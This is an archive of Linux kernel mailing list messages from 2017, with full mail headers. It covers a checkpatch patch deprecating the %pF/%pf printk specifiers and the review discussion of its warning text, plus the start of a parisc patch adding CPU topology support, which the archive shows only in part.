Original-Received: by mail-pf0-f172.google.com with SMTP id y29so1794440pff.0;
        Wed, 20 Sep 2017 09:33:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=gz7P5n6kGMO/CywX7448IDVtXQKW2dW6BSvNf2Y1vpk=;
        b=TpvIniI+Y1dILASjBUPFczuWHxOIMqKWzE7Ksd3PWzROl1T6WI6WU2j0r1pFutQgL/
         rlfwdr80ocEiq28yy5Rd29VkGNpIvUlbqA6b7D74hIsNyviCbrpNCU5DLjaY/Jywi+FP
         35OsGogqW9jVng16oc1uSJyd6KMboaUb+FEWkpc+owN/NMnM9NPmNDHmrKWt9Ne2uGcs
         TeE2LjAtKRYH5agjYilYnqfOufXLT/4kdzmDSohk0RMUJPo0+nogoSTP8ocjYw6XIpxp
         mYkSWy41rkVbm+CXleSZstuJpnsx40QAttmiL1JcQ8iKBpJxqMaFHS/G+cPbQT7Ok4RA
         ffIg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=gz7P5n6kGMO/CywX7448IDVtXQKW2dW6BSvNf2Y1vpk=;
        b=ImGuKeMVOLbzhTEkBwUTJfBE1Jg3DCMrU1bvvfpgg9SysGU5q01TcPDfmkI6Jt7R37
         5jCww6KhBy/J5Y9RtPzRQUmA5NgnLQCcOJwCDUveTY5uF+n7r1q61fuYOUeVqK18nG2F
         kuGmaB3PRTaBcUZDAh57PnNh+fXXE8a3BomPELwnCZxun+lv6xFdTgPYOBFFxC0hkIp/
         pXTdQ8f0tUQer320fnkB8xSxMqUSw9XrW6i44+TVr1bDlRXsSLDa8fUeCWyOFsJ746V3
         y3SqK5CDKK4xRFhOWTEP2Q1SLTv4VsAOmrHvbz5uKd+pcLN8oYDMmRfz5/68ZzNOjYXj
         Z64A==
X-Gm-Message-State: AHPjjUiOmtD9U36XBOe2fuAMUSsMn6b2WJnaJfL7SHSXTb7LLplGqdWr
        UxgvvcFIeGFt9tkamJ8bF90=
X-Google-Smtp-Source: AOwi7QDabzYTvc07Q4TzH+gXw3tFriy15xYBQKUuXzVzjr4zOHqsD2wb8HIw0CNi8/CmuchkWRnvdQ==
X-Received: by 10.84.179.99 with SMTP id a90mr2723522plc.392.1505925211498;
        Wed, 20 Sep 2017 09:33:31 -0700 (PDT)
Original-Received: from localhost ([121.137.63.184])
        by smtp.gmail.com with ESMTPSA id 64sm10454654pge.44.2017.09.20.09.33.30
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 20 Sep 2017 09:33:30 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20170920162910.32053-9-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28140 gmane.linux.ports.parisc:27838 gmane.linux.ports.ppc64.devel:148130 gmane.linux.kernel:2574187
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28140>

On (09/21/17 01:29), Sergey Senozhatsky wrote:
> We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
> enough to handle function pointer dereference on platforms where such
> dereference is required.
> 
> checkpatch warning example:
> 
> WARNING: Use '%pS/%ps' instead. This pointer extension was deprecated: '%pF'

weird... somehow I sent this patch twice. please ignore this one.

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH v2 7/7] checkpatch: add pF/pf deprecation warning
Date: Wed, 20 Sep 2017 10:38:58 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <1505929138.12311.5.camel@perches.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
         <20170920162910.32053-8-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1505929147 24368 195.159.176.226 (20 Sep 2017 17:39:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 17:39:07 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Andy Whitcroft <apw@canonical.com>
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 20 19:39:02 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1duixf-0005tc-Ny
	for glk-linux-kernel-3@m.gmane.org; Wed, 20 Sep 2017 19:39:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751825AbdITRjF (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 20 Sep 2017 13:39:05 -0400
Original-Received: from smtprelay0155.hostedemail.com ([216.40.44.155]:37123 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1751024AbdITRjE (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 20 Sep 2017 13:39:04 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay05.hostedemail.com (Postfix) with ESMTP id 1060C18076614;
        Wed, 20 Sep 2017 17:39:03 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-HE-Tag: ring37_1461611bad501
X-Filterd-Recvd-Size: 3188
Original-Received: from XPS-9350 (unknown [47.151.132.55])
        (Authenticated sender: joe@perches.com)
        by omf13.hostedemail.com (Postfix) with ESMTPA;
        Wed, 20 Sep 2017 17:38:59 +0000 (UTC)
In-Reply-To: <20170920162910.32053-8-sergey.senozhatsky@gmail.com>
X-Mailer: Evolution 3.22.6-1ubuntu1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574252 gmane.linux.ports.ia64:28141 gmane.linux.ports.parisc:27839 gmane.linux.ports.ppc64.devel:148134
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574252>

On Thu, 2017-09-21 at 01:29 +0900, Sergey Senozhatsky wrote:
> We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
> enough to handle function pointer dereference on platforms where such
> dereference is required.
> 
> checkpatch warning example:
> 
> WARNING: Use '%pS/%ps' instead. This pointer extension was deprecated: '%pF'

If this series is accepted,  I think this message
is unclear and would prefer something like:
---
scripts/checkpatch.pl | 11 +++++++++--
1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/scripts/checkpatch.pl b/scripts/checkpatch.pl
index dd2c262aebbf..71f3273d5913 100755
--- a/scripts/checkpatch.pl
+++ b/scripts/checkpatch.pl
@@ -5762,18 +5762,25 @@ sub process {
		for (my $count = $linenr; $count <= $lc; $count++) {
				my $fmt = get_quoted_string($lines[$count - 1], raw_line($count, 0));
				$fmt =~ s/%%//g;
-				if ($fmt =~ /(\%[\*\d\.]*p(?![\WFfSsBKRraEhMmIiUDdgVCbGNO]).)/) {
+				if ($fmt =~ /(\%[\*\d\.]*p(?![\WSsBKRraEhMmIiUDdgVCbGNO]).)/) {
					$bad_extension = $1;
					last;
				}
			}
			if ($bad_extension ne "") {
				my $stat_real = raw_line($linenr, 0);
+				my $ext_type = "Invalid";
+				my $use = "";
				for (my $count = $linenr + 1; $count <= $lc; $count++) {
					$stat_real = $stat_real . "\n" . raw_line($count, 0);
				}
+				if ($bad_extension =~ /p[Ff]/i) {
+					$ext_type = "Deprecated";
+					$use = " - use %pS instead";
+					$use =~ s/pS/ps/ if ($bad_extension =~ /pf/);
+				}
				WARN("VSPRINTF_POINTER_EXTENSION",
-				"Invalid vsprintf pointer extension '$bad_extension'\n" . "$here\n$stat_real\n");
+				"$ext_type vsprintf pointer extension '$bad_extension'$use\n" . "$here\n$stat_real\n");
			}
		}



From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH v2 7/7] checkpatch: add pF/pf deprecation warning
Date: Wed, 20 Sep 2017 19:53:49 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <ddf9b54b-34d9-c1e2-e34f-a1cc055b8cf7@gmx.de>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
 <20170920162910.32053-8-sergey.senozhatsky@gmail.com>
 <1505929138.12311.5.camel@perches.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1505930063 12021 195.159.176.226 (20 Sep 2017 17:54:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 17:54:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Andy Whitcroft <apw@canonical.com>
To: Joe Perches <joe@perches.com>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Sep 20 19:54:18 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dujCT-00028V-6g
	for glk-linux-kernel-3@m.gmane.org; Wed, 20 Sep 2017 19:54:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751605AbdITRyW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 20 Sep 2017 13:54:22 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:59829 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751024AbdITRyT (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 20 Sep 2017 13:54:19 -0400
Original-Received: from [192.168.20.60] ([91.36.201.242]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LcShi-1dUi6H0WLG-00jpNp; Wed, 20
 Sep 2017 19:53:55 +0200
In-Reply-To: <1505929138.12311.5.camel@perches.com>
Content-Language: en-US
X-Provags-ID: V03:K0:tAEHGZ1hA0YbjijvBDQdFAheOkAn8F+wHqMCNj0LHheVvy5fhjP
 Z6CpbMcHYegTu7+4VF57ICyv+0E0WYa2k1SOTMnUM1AQu16IDw+r/i2B92BYSE3zVIqgvEO
 8vcF7aAX0AWGGn1jfqLHEaddOLkB6CQ1y/7ex790A1r/t2r6TQaYg1nKf4o1TXmr93sA0tT
 /nSio23m6OaYptwJeuL+g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ZKcV+RtwsnQ=:rvJC+BZYUch0dZOUBcsL5M
 OTmnwaQ4mbIxmos92Ky54bllMUC8HBiDghZ/uz/ir3ITBe/reMG+spiRUZSauzdWJzU9OP3fO
 /LAHPvK3+xlZHl/OcytNMawOoF8RsxC7NQIMN2TbFXi1rnYuqrL4ySrTWFyeoczIXbnqTjfrx
 vmEXw8eUjqv7OflqjnN+F7XyTlYu0gx8HZdrsEWOAsxTS2jslPPg119nh+7wl170PcAudB6M4
 gnvWs0CfuwY+9M30JjS9MZux0O3AL4XfzNRcMh/aWd0IV7jG6dqX5Du1JL2GACOEJHb7YeGDL
 YNyDD+AbCZlrgwQz6XRwk8vy4lj51PvDcoUxmWGMsGxtMIG+C9LNWL8bsD2Aa1o96mes43ZlI
 0PgBWvrHw5eq+m9FWxvecohuncjdAQaMrDYxw4HCIhB7hWUoqUFAEuH4ARR5RLv5G3hZtFxFt
 ZqXgb8leVP9kmV3Nq9kwL6ZlskdxGF35vxmP58D6qcPy11uFGfujc7HNNaUfqnuZv518mv6Lr
 Th40+fTilcfvVrpvSzAouXueaQ+h6DHCsAxuvXy7kdJZjw+EJcFhyb7W4Zp034bQ3v8wgOmIM
 VK1wA1lgahg2jfU6vh3Low19gvjDkW21R+NrxoLUTXo4A9JnyfPGiVeEBIIMG7/g5DpWTo+kg
 GN2reQuWc6rBHcWaBmuqGnmUf7JZzvI1UdJf8pO2YZ1QSRHA7yrwVKSAXCyS8SiL9vwoNyGG2
 9B8e0ETM16O/ajgYl82Rl1ksS+rMrlI8QIt8CYeVuAl/1NTS2LRYnXTAr2+Ht7GtWfY0moyw 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2574257 gmane.linux.ports.ia64:28142 gmane.linux.ports.parisc:27840 gmane.linux.ports.ppc64.devel:148135
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2574257>

On 20.09.2017 19:38, Joe Perches wrote:
> On Thu, 2017-09-21 at 01:29 +0900, Sergey Senozhatsky wrote:
>> We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
>> enough to handle function pointer dereference on platforms where such
>> dereference is required.
>>
>> checkpatch warning example:
>>
>> WARNING: Use '%pS/%ps' instead. This pointer extension was deprecated: '%pF'
> 
> If this series is accepted,  I think this message
> is unclear and would prefer something like:

Is it worth to mention, that it's still needed in older kernels?
Just in case some patch get's backported.

Helge


From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [RFC][PATCH v2 7/7] checkpatch: add pF/pf deprecation warning
Date: Wed, 20 Sep 2017 11:24:28 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <1505931868.12311.7.camel@perches.com>
References: <20170920162910.32053-1-sergey.senozhatsky@gmail.com>
         <20170920162910.32053-8-sergey.senozhatsky@gmail.com>
         <1505929138.12311.5.camel@perches.com>
         <ddf9b54b-34d9-c1e2-e34f-a1cc055b8cf7@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1505931874 11877 195.159.176.226 (20 Sep 2017 18:24:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 18:24:34 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Andy Whitcroft <apw@canonical.com>
To: Helge Deller <deller@gmx.de>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 20 20:24:28 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dujff-0007Q5-2w
	for glpp-linux-parisc@m.gmane.org; Wed, 20 Sep 2017 20:24:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751387AbdITSYe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 20 Sep 2017 14:24:34 -0400
Original-Received: from smtprelay0160.hostedemail.com ([216.40.44.160]:58184 "EHLO
        smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1751307AbdITSYd (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 20 Sep 2017 14:24:33 -0400
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net [216.40.38.60])
        by smtprelay07.hostedemail.com (Postfix) with ESMTP id D932F181D330D;
        Wed, 20 Sep 2017 18:24:32 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-HE-Tag: night69_7e96861e4de5c
X-Filterd-Recvd-Size: 2311
Original-Received: from XPS-9350 (unknown [47.151.132.55])
        (Authenticated sender: joe@perches.com)
        by omf12.hostedemail.com (Postfix) with ESMTPA;
        Wed, 20 Sep 2017 18:24:29 +0000 (UTC)
In-Reply-To: <ddf9b54b-34d9-c1e2-e34f-a1cc055b8cf7@gmx.de>
X-Mailer: Evolution 3.22.6-1ubuntu1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27841 gmane.linux.ports.ia64:28143 gmane.linux.ports.ppc64.devel:148137 gmane.linux.kernel:2574273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27841>

On Wed, 2017-09-20 at 19:53 +0200, Helge Deller wrote:
> On 20.09.2017 19:38, Joe Perches wrote:
> > On Thu, 2017-09-21 at 01:29 +0900, Sergey Senozhatsky wrote:
> > > We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
> > > enough to handle function pointer dereference on platforms where such
> > > dereference is required.
> > > 
> > > checkpatch warning example:
> > > 
> > > WARNING: Use '%pS/%ps' instead. This pointer extension was deprecated: '%pF'
> > 
> > If this series is accepted,  I think this message
> > is unclear and would prefer something like:
> 
> Is it worth to mention, that it's still needed in older kernels?
> Just in case some patch get's backported.

I think probably not.

There are relatively few references and
modifications are unlikely to be backported.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add CPU topology support
Date: Wed, 20 Sep 2017 21:20:18 +0200
Lines: 329
Approved: news@gmane.org
Message-ID: <20170920192018.GA14837@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1505935229 3568 195.159.176.226 (20 Sep 2017 19:20:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 20 Sep 2017 19:20:29 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 20 21:20:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dukXm-0001bS-5v
	for glpp-linux-parisc@m.gmane.org; Wed, 20 Sep 2017 21:20:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751361AbdITTU3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 20 Sep 2017 15:20:29 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:55583 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751175AbdITTU2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 20 Sep 2017 15:20:28 -0400
Original-Received: from p100.box ([91.36.201.242]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M51eM-1dB0B838zG-00zC9s; Wed, 20
 Sep 2017 21:20:20 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:BWvLiTESsqd6tPhXfwVRnvweL87/RO/0VDpNTfz4M4XP54lpL/7
 wmjlTLj/ezlUxMAa44X0NlrNdJhvp01uWW1jkN4AsWSV/Z+elcHHruJOuAwch3mPY4Yrx4o
 DwV50Lyv72nl9QOZr5ljythnWWyFXuqPaHwd3YSGAEyvrIBSDXnSg3eD3qVNkuGtxARbsai
 49Lljwd3IP5S3YgnxXadw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:nuqQX40iPaE=:Y3U+P4cjWjZ4A1rLgI+RcJ
 zg08MxNiznu2rCGPURZ5eFmlYm5gWrcUd2605BvlDnO08F6mlGKPGaQ8io9EHO4lb/OgQdKVP
 bSIHp/+LnSv9ohu1737QEIaPau9GS8O1iCMitX1N2SOEPixeIdmN71VlU7/vcpuQEq7VJfhb4
 55LsebBKxblkRhIUGVt6qRr9TvCyF0UW3/JaA5wcXATFm9ORD3MWJYEVavDMcYJDbB8+DOtjR
 Hjs3TFR6FTJ7+mrSC095fWNVTdNSc9o5FuZHUjvIAeQT7S/25E8FmRjD8l/bM2UEjDGutBaPY
 j5uPKkZfH2+KXxLMbOMndSVT2rB2O6Exs+zvJZfpv+zUb9vPGG7yeDaMWdPg2WeC0up1TF05O
 xpG0gwDA7iQnVgqILftwz0xXnTbB8E9op9ZbhAhBCg8ckWCJkJUicO6y1Ayp3dRF1hb71vL7I
 eeFS8ZoaTU+L0BTR1uZ6irXnGX26DjbcQURnlMX7ZBx/J/xj+v084aUgSZUu6XCTaPVZ3Gif/
 rv3si5puhhi87NSpnxU07sltoxMinwtpVzjIa5CQeMU3Pvzlu/4zCYbG4uOdOoHsXmYCmZleU
 R3Ezwolhzvt/ZAfiMdHolK/NjTBqYn7GmE7Z5gyfqCvovgjJ9DuIBnk9eG1dr/2jg7VIuRHnc
 y9pVilmaXUifCZTMQzWa7TU5mW/SEpS22xggpTyRiS+wunAqmuyYKFu4PEV/R4b1916pd2vVg
 d0J5D0VTpKCWAnbQy7wpAceSMx6FdQDyTzAp9fuQ7mUrWAEen6hJxRBPLHeRnHtZZycjnyCM 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27842
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27842>

Add topology support, including multi-core scheduler support on
PA8800/PA8900 CPUs and enhanced output in /proc/cpuinfo, e.g.
lscpu now reports on a single-socket, dual-core machine:

Architecture:          parisc64
CPU(s):                2
On-line CPU(s) list:   0,1
Thread(s) per core:    1
Core(s) per socket:    2
Socket(s):             1
CPU family:            PA-RISC 2.0
Model name:            PA8800 (Mako)

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index ba7b7dd..bb8ed34 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -31,6 +31,7 @@ config PARISC
 	select GENERIC_PCI_IOMAP
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select GENERIC_SMP_IDLE_THREAD
+	select GENERIC_CPU_DEVICES
 	select GENERIC_STRNCPY_FROM_USER
 	select SYSCTL_ARCH_UNALIGN_ALLOW
 	select SYSCTL_EXCEPTION_TRACE
@@ -275,6 +276,21 @@ config SMP
 
 	  If you don't know what to do here, say N.
 
+config PARISC_CPU_TOPOLOGY
+	bool "Support cpu topology definition"
+	depends on SMP
+	default y
+	help
+	  Support PARISC cpu topology definition.
+
+config SCHED_MC
+	bool "Multi-core scheduler support"
+	depends on PARISC_CPU_TOPOLOGY && PA8X00
+	help
+	  Multi-core scheduler support improves the CPU scheduler's decision
+	  making when dealing with multi-core CPU chips at a cost of slightly
+	  increased overhead in some places. If unsure say N here.
+
 config IRQSTACKS
 	bool "Use separate kernel stacks when processing interrupts"
 	default y
diff --git a/arch/parisc/include/asm/topology.h b/arch/parisc/include/asm/topology.h
new file mode 100644
index 0000000..6f0750c
--- /dev/null
+++ b/arch/parisc/include/asm/topology.h
@@ -0,0 +1,36 @@
+#ifndef _ASM_PARISC_TOPOLOGY_H
+#define _ASM_PARISC_TOPOLOGY_H
+
+#ifdef CONFIG_PARISC_CPU_TOPOLOGY
+
+#include <linux/cpumask.h>
+
+struct cputopo_parisc {
+	int thread_id;
+	int core_id;
+	int socket_id;
+	cpumask_t thread_sibling;
+	cpumask_t core_sibling;
+};
+
+extern struct cputopo_parisc cpu_topology[NR_CPUS];
+
+#define topology_physical_package_id(cpu)	(cpu_topology[cpu].socket_id)
+#define topology_core_id(cpu)		(cpu_topology[cpu].core_id)
+#define topology_core_cpumask(cpu)	(&cpu_topology[cpu].core_sibling)
+#define topology_sibling_cpumask(cpu)	(&cpu_topology[cpu].thread_sibling)
+
+void init_cpu_topology(void);
+void store_cpu_topology(unsigned int cpuid);
+const struct cpumask *cpu_coregroup_mask(int cpu);
+
+#else
+
+static inline void init_cpu_topology(void) { }
+static inline void store_cpu_topology(unsigned int cpuid) { }
+
+#endif
+
+#include <asm-generic/topology.h>
+
+#endif /* _ASM_ARM_TOPOLOGY_H */
diff --git a/arch/parisc/kernel/Makefile b/arch/parisc/kernel/Makefile
index c4294df..10b1b04 100644
--- a/arch/parisc/kernel/Makefile
+++ b/arch/parisc/kernel/Makefile
@@ -8,8 +8,7 @@ obj-y	     	:= cache.o pacache.o setup.o pdt.o traps.o time.o irq.o \
 		   pa7300lc.o syscall.o entry.o sys_parisc.o firmware.o \
 		   ptrace.o hardware.o inventory.o drivers.o \
 		   signal.o hpmc.o real2.o parisc_ksyms.o unaligned.o \
-		   process.o processor.o pdc_cons.o pdc_chassis.o unwind.o \
-		   topology.o
+		   process.o processor.o pdc_cons.o pdc_chassis.o unwind.o
 
 ifdef CONFIG_FUNCTION_TRACER
 # Do not profile debug and lowlevel utilities
@@ -29,5 +28,6 @@ obj-$(CONFIG_AUDIT)	+= audit.o
 obj64-$(CONFIG_AUDIT)	+= compat_audit.o
 # only supported for PCX-W/U in 64-bit mode at the moment
 obj-$(CONFIG_64BIT)	+= perf.o perf_asm.o $(obj64-y)
+obj-$(CONFIG_PARISC_CPU_TOPOLOGY)	+= topology.o
 obj-$(CONFIG_FUNCTION_TRACER)		+= ftrace.o
 obj-$(CONFIG_FUNCTION_GRAPH_TRACER)	+= ftrace.o
